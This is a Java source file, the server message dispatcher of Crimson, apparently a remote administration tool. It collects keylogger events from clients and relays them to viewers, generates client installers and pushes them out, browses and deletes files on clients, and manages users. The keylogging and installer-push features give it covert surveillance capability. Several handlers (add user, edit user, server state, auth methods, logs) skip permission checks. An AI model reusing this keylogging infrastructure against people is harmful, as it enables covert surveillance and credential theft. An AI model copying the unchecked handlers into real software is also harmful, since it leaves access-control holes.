/******************************************************************************
* *
* Copyright 2016 Subterranean Security *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
*****************************************************************************/
package com.subterranean_security.crimson.server.net;
import java.util.Date;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.google.protobuf.ByteString;
import com.subterranean_security.crimson.core.attribute.keys.AKeySimple;
import com.subterranean_security.crimson.core.misc.AuthenticationGroup;
import com.subterranean_security.crimson.core.net.BasicExecutor;
import com.subterranean_security.crimson.core.net.Connector.ConnectionState;
import com.subterranean_security.crimson.core.proto.ClientAuth.RQ_GroupChallenge;
import com.subterranean_security.crimson.core.proto.ClientAuth.RS_CreateAuthMethod;
import com.subterranean_security.crimson.core.proto.ClientAuth.RS_GroupChallenge;
import com.subterranean_security.crimson.core.proto.ClientAuth.RS_RemoveAuthMethod;
import com.subterranean_security.crimson.core.proto.Delta.EV_ProfileDelta;
import com.subterranean_security.crimson.core.proto.Delta.EV_ServerProfileDelta;
import com.subterranean_security.crimson.core.proto.Delta.EV_ViewerProfileDelta;
import com.subterranean_security.crimson.core.proto.Generator.GenReport;
import com.subterranean_security.crimson.core.proto.Generator.RS_Generate;
import com.subterranean_security.crimson.core.proto.Keylogger.EV_KEvent;
import com.subterranean_security.crimson.core.proto.Keylogger.RQ_KeyUpdate;
import com.subterranean_security.crimson.core.proto.Keylogger.RS_KeyUpdate;
import com.subterranean_security.crimson.core.proto.Listener.RS_AddListener;
import com.subterranean_security.crimson.core.proto.Log.LogFile;
import com.subterranean_security.crimson.core.proto.Log.LogType;
import com.subterranean_security.crimson.core.proto.Log.RS_Logs;
import com.subterranean_security.crimson.core.proto.MSG.Message;
import com.subterranean_security.crimson.core.proto.Misc.Outcome;
import com.subterranean_security.crimson.core.proto.State.RS_ChangeServerState;
import com.subterranean_security.crimson.core.proto.Stream.EV_EndpointClosed;
import com.subterranean_security.crimson.core.proto.Stream.Param;
import com.subterranean_security.crimson.core.proto.Users.RQ_AddUser;
import com.subterranean_security.crimson.core.proto.Users.RS_AddUser;
import com.subterranean_security.crimson.core.proto.Users.RS_EditUser;
import com.subterranean_security.crimson.core.store.ConnectionStore;
import com.subterranean_security.crimson.core.stream.StreamStore;
import com.subterranean_security.crimson.core.stream.subscriber.SubscriberSlave;
import com.subterranean_security.crimson.core.util.CryptoUtil;
import com.subterranean_security.crimson.core.util.ProtoUtil;
import com.subterranean_security.crimson.sc.Logsystem;
import com.subterranean_security.crimson.server.Generator;
import com.subterranean_security.crimson.server.net.exe.AuthExe;
import com.subterranean_security.crimson.server.net.exe.CvidExe;
import com.subterranean_security.crimson.server.net.exe.DeltaExe;
import com.subterranean_security.crimson.server.net.exe.FileManagerExe;
import com.subterranean_security.crimson.server.net.exe.LoginExe;
import com.subterranean_security.crimson.server.store.Authentication;
import com.subterranean_security.crimson.server.store.ListenerStore;
import com.subterranean_security.crimson.server.store.ProfileStore;
import com.subterranean_security.crimson.server.stream.SInfoSlave;
import com.subterranean_security.crimson.sv.net.Listener;
import com.subterranean_security.crimson.sv.permissions.Perm;
import com.subterranean_security.crimson.sv.permissions.ViewerPermissions;
import com.subterranean_security.crimson.sv.profile.ClientProfile;
import com.subterranean_security.crimson.sv.profile.ViewerProfile;
import com.subterranean_security.crimson.universal.Universal;
import com.subterranean_security.crimson.universal.stores.DatabaseStore;
import io.netty.util.ReferenceCountUtil;
public class ServerExecutor extends BasicExecutor {
private static final Logger log = LoggerFactory.getLogger(ServerExecutor.class);
public ServerExecutor() {
super();
dispatchThread = new Thread(new Runnable() {
public void run() {
while (!Thread.interrupted()) {
Message m;
try {
m = connector.msgQueue.take();
} catch (InterruptedException e) {
return;
}
pool.submit(() -> {
if (m.hasRid() && m.getRid() != 0) {
// route
try {
ConnectionStore.get(m.getRid()).write(m);
} catch (NullPointerException e) {
log.debug("Could not forward message to CVID: {}", m.getRid());
connector.write(Message.newBuilder()
.setEvEndpointClosed(EV_EndpointClosed.newBuilder().setCVID(m.getRid()))
.build());
}
} else if (m.hasEvProfileDelta()) {
DeltaExe.ev_profileDelta(connector, m.getEvProfileDelta());
} else if (m.hasEvKevent()) {
ev_kevent(m);
} else if (m.hasRqLogin()) {
LoginExe.rq_login(connector, m);
} else if (m.hasRqGenerate()) {
rq_generate(m);
} else if (m.hasRqGroupChallenge()) {
rq_group_challenge(m);
} else if (m.hasMiAuthRequest()) {
AuthExe.mi_auth_request(connector, m);
} else if (m.hasMiChallengeResult()) {
AuthExe.mi_challenge_result(connector, m);
} else if (m.hasRqFileListing()) {
FileManagerExe.rq_file_listing(connector, m);
} else if (m.hasRsFileListing()) {
FileManagerExe.rs_file_listing(connector, m);
} else if (m.hasRqAdvancedFileInfo()) {
FileManagerExe.rq_advanced_file_info(connector, m);
} else if (m.hasMiStreamStart()) {
mi_stream_start(m);
} else if (m.hasMiStreamStop()) {
mi_stream_stop(m);
} else if (m.hasRqAddListener()) {
rq_add_listener(m);
} else if (m.hasRqRemoveListener()) {
rq_remove_listener(m);
} else if (m.hasRqAddUser()) {
rq_add_user(m);
} else if (m.hasRqEditUser()) {
rq_edit_user(m);
} else if (m.hasRqChangeServerState()) {
rq_change_server_state(m);
} else if (m.hasRqChangeClientState()) {
rq_change_client_state(m);
} else if (m.hasRqFileHandle()) {
FileManagerExe.rq_file_handle(connector, m);
} else if (m.hasRsFileHandle()) {
FileManagerExe.rs_file_handle(connector, m);
} else if (m.hasRqDelete()) {
FileManagerExe.rq_delete(connector, m);
} else if (m.hasRqKeyUpdate()) {
rq_key_update(m);
} else if (m.hasMiTriggerProfileDelta()) {
DeltaExe.mi_trigger_profile_delta(connector, m);
} else if (m.hasRqCreateAuthMethod()) {
rq_create_auth_method(m);
} else if (m.hasRqRemoveAuthMethod()) {
rq_remove_auth_method(m);
} else if (m.hasRqLogs()) {
rq_logs(m);
} else if (m.hasRqCvid()) {
CvidExe.rq_cvid(connector, m);
} else {
connector.addNewResponse(m);
}
ReferenceCountUtil.release(m);
});
}
}
});
}
private void ev_kevent(Message m) {
try {
ProfileStore.getClient(connector.getCvid()).getKeylog().addEvent(m.getEvKevent());
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private void mi_stream_start(Message m) {
Param p = m.getMiStreamStart().getParam();
if (p.hasInfoParam()) {
StreamStore.addStream(new SInfoSlave(p));
}
if (p.hasSubscriberParam()) {
StreamStore.addStream(new SubscriberSlave(p));
}
}
private void mi_stream_stop(Message m) {
StreamStore.removeStreamBySID(m.getMiStreamStop().getStreamID());
}
private void rq_key_update(Message m) {
RQ_KeyUpdate rq = m.getRqKeyUpdate();
Date target = new Date(rq.getStartDate());
// check permissions
if (!ProfileStore.getViewer(connector.getCvid()).getPermissions().getFlag(rq.getCid(),
Perm.client.keylogger.read_logs)) {
connector.write(Message.newBuilder().setId(m.getId())
.setRsKeyUpdate(RS_KeyUpdate.newBuilder().setResult(false)).build());
return;
}
ClientProfile cp = ProfileStore.getClient(rq.getCid());
if (cp != null) {
for (EV_KEvent k : cp.getKeylog().getEventsAfter(target)) {
connector.write(Message.newBuilder().setSid(rq.getCid()).setEvKevent(k).build());
}
connector.write(Message.newBuilder().setId(m.getId())
.setRsKeyUpdate(RS_KeyUpdate.newBuilder().setResult(true)).build());
} else {
connector.write(Message.newBuilder().setId(m.getId())
.setRsKeyUpdate(RS_KeyUpdate.newBuilder().setResult(false)).build());
}
}
private void rq_group_challenge(Message m) {
if (connector.getState() != ConnectionState.AUTH_STAGE2) {
return;
}
RQ_GroupChallenge rq = m.getRqGroupChallenge();
AuthenticationGroup group = Authentication.getGroup(rq.getGroupName());
RS_GroupChallenge rs = RS_GroupChallenge.newBuilder()
.setResult(CryptoUtil.signGroupChallenge(rq.getMagic(), group.getPrivateKey())).build();
connector.write(Message.newBuilder().setId(m.getId()).setRsGroupChallenge(rs).build());
try {
Thread.sleep(100);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private void rq_generate(Message m) {
// check permissions
if (!ProfileStore.getViewer(connector.getCvid()).getPermissions().getFlag(Perm.server.generator.generate)) {
connector.write(Message.newBuilder().setId(m.getId())
.setRsGenerate(RS_Generate.newBuilder()
.setReport(GenReport.newBuilder().setResult(false).setComment("Insufficient permissions")))
.build());
return;
}
byte[] res = null;
Generator g = new Generator();
try {
if (m.getRqGenerate().hasSendToCid()) {
g.generate(m.getRqGenerate().getInternalConfig(), m.getRqGenerate().getSendToCid());
} else {
g.generate(m.getRqGenerate().getInternalConfig());
}
res = g.getResult();
RS_Generate.Builder rs = RS_Generate.newBuilder().setInstaller(ByteString.copyFrom(res))
.setReport(g.getReport());
if (m.getRqGenerate().hasSendToCid()) {
ConnectionStore.get(m.getRqGenerate().getSendToCid())
.write(Message.newBuilder().setRsGenerate(rs).build());
connector.write(Message.newBuilder().setId(m.getId())
.setRsGenerate(RS_Generate.newBuilder().setReport(g.getReport())).build());
} else {
connector.write(Message.newBuilder().setId(m.getId()).setRsGenerate(rs).build());
}
} catch (Exception e) {
connector.write(Message.newBuilder().setId(m.getId())
.setRsGenerate(RS_Generate.newBuilder().setReport(g.getReport())).build());
}
}
private void rq_add_listener(Message m) {
// check permissions
if (!ProfileStore.getViewer(connector.getCvid()).getPermissions()
.getFlag(Perm.server.network.create_listener)) {
connector.write(Message.newBuilder().setId(m.getId())
.setRsAddListener(
RS_AddListener.newBuilder().setResult(false).setComment("Insufficient permissions"))
.build());
return;
}
connector.write(Message.newBuilder().setId(m.getId())
.setRsAddListener(RS_AddListener.newBuilder().setResult(true)).build());
ListenerStore.listeners.add(new Listener(m.getRqAddListener().getConfig()));
Message update = Message.newBuilder().setEvServerProfileDelta(
EV_ServerProfileDelta.newBuilder().addListener(m.getRqAddListener().getConfig())).build();
ServerConnectionStore.sendToAll(Universal.Instance.VIEWER, update);
}
private void rq_remove_listener(Message m) {
}
private void rq_add_user(Message m) {
// TODO check permissions
connector.write(
Message.newBuilder().setId(m.getId()).setRsAddUser(RS_AddUser.newBuilder().setResult(true)).build());
DatabaseStore.getDatabase().addLocalUser(m.getRqAddUser().getUser(), m.getRqAddUser().getPassword(),
new ViewerPermissions(m.getRqAddUser().getPermissionsList()));
Message update = Message.newBuilder()
.setEvServerProfileDelta(EV_ServerProfileDelta.newBuilder()
.addViewerUser(EV_ViewerProfileDelta.newBuilder()
.addAllViewerPermissions(m.getRqAddUser().getPermissionsList()))
.setPd(EV_ProfileDelta.newBuilder()
.addGroup(ProtoUtil.getNewGeneralGroup()
.putAttribute(AKeySimple.VIEWER_USER.getFullID(), m.getRqAddUser().getUser()))))
.build();
ServerConnectionStore.sendToAll(Universal.Instance.VIEWER, update);
}
private void rq_edit_user(Message m) {
// TODO check permissions
connector.write(
Message.newBuilder().setId(m.getId()).setRsEditUser(RS_EditUser.newBuilder().setResult(true)).build());
RQ_AddUser rqad = m.getRqEditUser().getUser();
ViewerProfile vp = null;
try {
vp = ProfileStore.getViewer(rqad.getUser());
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
EV_ViewerProfileDelta.Builder b = EV_ViewerProfileDelta.newBuilder()
.setPd(EV_ProfileDelta.newBuilder().addGroup(ProtoUtil.getNewGeneralGroup()
.putAttribute(AKeySimple.VIEWER_USER.getFullID(), rqad.getUser())))
.addAllViewerPermissions(m.getRqAddUser().getPermissionsList());
if (rqad.getPermissionsCount() != 0) {
vp.getPermissions().load(rqad.getPermissionsList());
b.addAllViewerPermissions(rqad.getPermissionsList());
}
if (rqad.hasPassword() && DatabaseStore.getDatabase().validLogin(rqad.getUser(), CryptoUtil.hashCrimsonPassword(
m.getRqEditUser().getOldPassword(), DatabaseStore.getDatabase().getSalt(rqad.getUser())))) {
DatabaseStore.getDatabase().changePassword(rqad.getUser(), rqad.getPassword());
}
Message update = Message.newBuilder()
.setEvServerProfileDelta(EV_ServerProfileDelta.newBuilder().addViewerUser(b)).build();
ServerConnectionStore.sendToAll(Universal.Instance.VIEWER, update);
}
private void rq_change_server_state(Message m) {
// TODO check permissions
String comment = "";
boolean result = true;
switch (m.getRqChangeServerState().getNewState()) {
case FUNCTIONING_OFF:
ListenerStore.stop();
break;
case FUNCTIONING_ON:
ListenerStore.start();
break;
case RESTART:
break;
case SHUTDOWN:
break;
case UNINSTALL:
break;
default:
break;
}
connector.write(Message.newBuilder().setId(m.getId()).setRsChangeServerState(RS_ChangeServerState.newBuilder()
.setOutcome(Outcome.newBuilder().setResult(result).setComment(comment))).build());
// notify viewers
ServerConnectionStore.sendToAll(Universal.Instance.VIEWER,
Message.newBuilder()
.setEvServerProfileDelta(EV_ServerProfileDelta.newBuilder().setPd(EV_ProfileDelta.newBuilder()
.addGroup(ProtoUtil.getNewGeneralGroup().putAttribute(
AKeySimple.SERVER_STATUS.getFullID(), ListenerStore.isRunning() ? "1" : "0"))))
.build());
}
private void rq_change_client_state(Message m) {
}
private void rq_create_auth_method(Message m) {
Outcome outcome = Authentication.create(m.getRqCreateAuthMethod().getAuthMethod());
connector.write(Message.newBuilder().setId(m.getId())
.setRsCreateAuthMethod(RS_CreateAuthMethod.newBuilder().setOutcome(outcome)).build());
}
private void rq_remove_auth_method(Message m) {
Authentication.remove(m.getRqRemoveAuthMethod().getId());
// TODO check if removed
connector.write(
Message.newBuilder().setRsRemoveAuthMethod(RS_RemoveAuthMethod.newBuilder().setResult(true)).build());
}
private void rq_logs(Message m) {
RS_Logs.Builder rs = RS_Logs.newBuilder();
if (m.getRqLogs().hasLog()) {
rs.addLog(LogFile.newBuilder().setName(m.getRqLogs().getLog())
.setLog(Logsystem.getLog(m.getRqLogs().getLog())));
} else {
for (LogType lt : Logsystem.getApplicableLogs()) {
rs.addLog(LogFile.newBuilder().setName(lt).setLog(Logsystem.getLog(lt)));
}
}
connector.write(Message.newBuilder().setRsLogs(rs).build());
}
}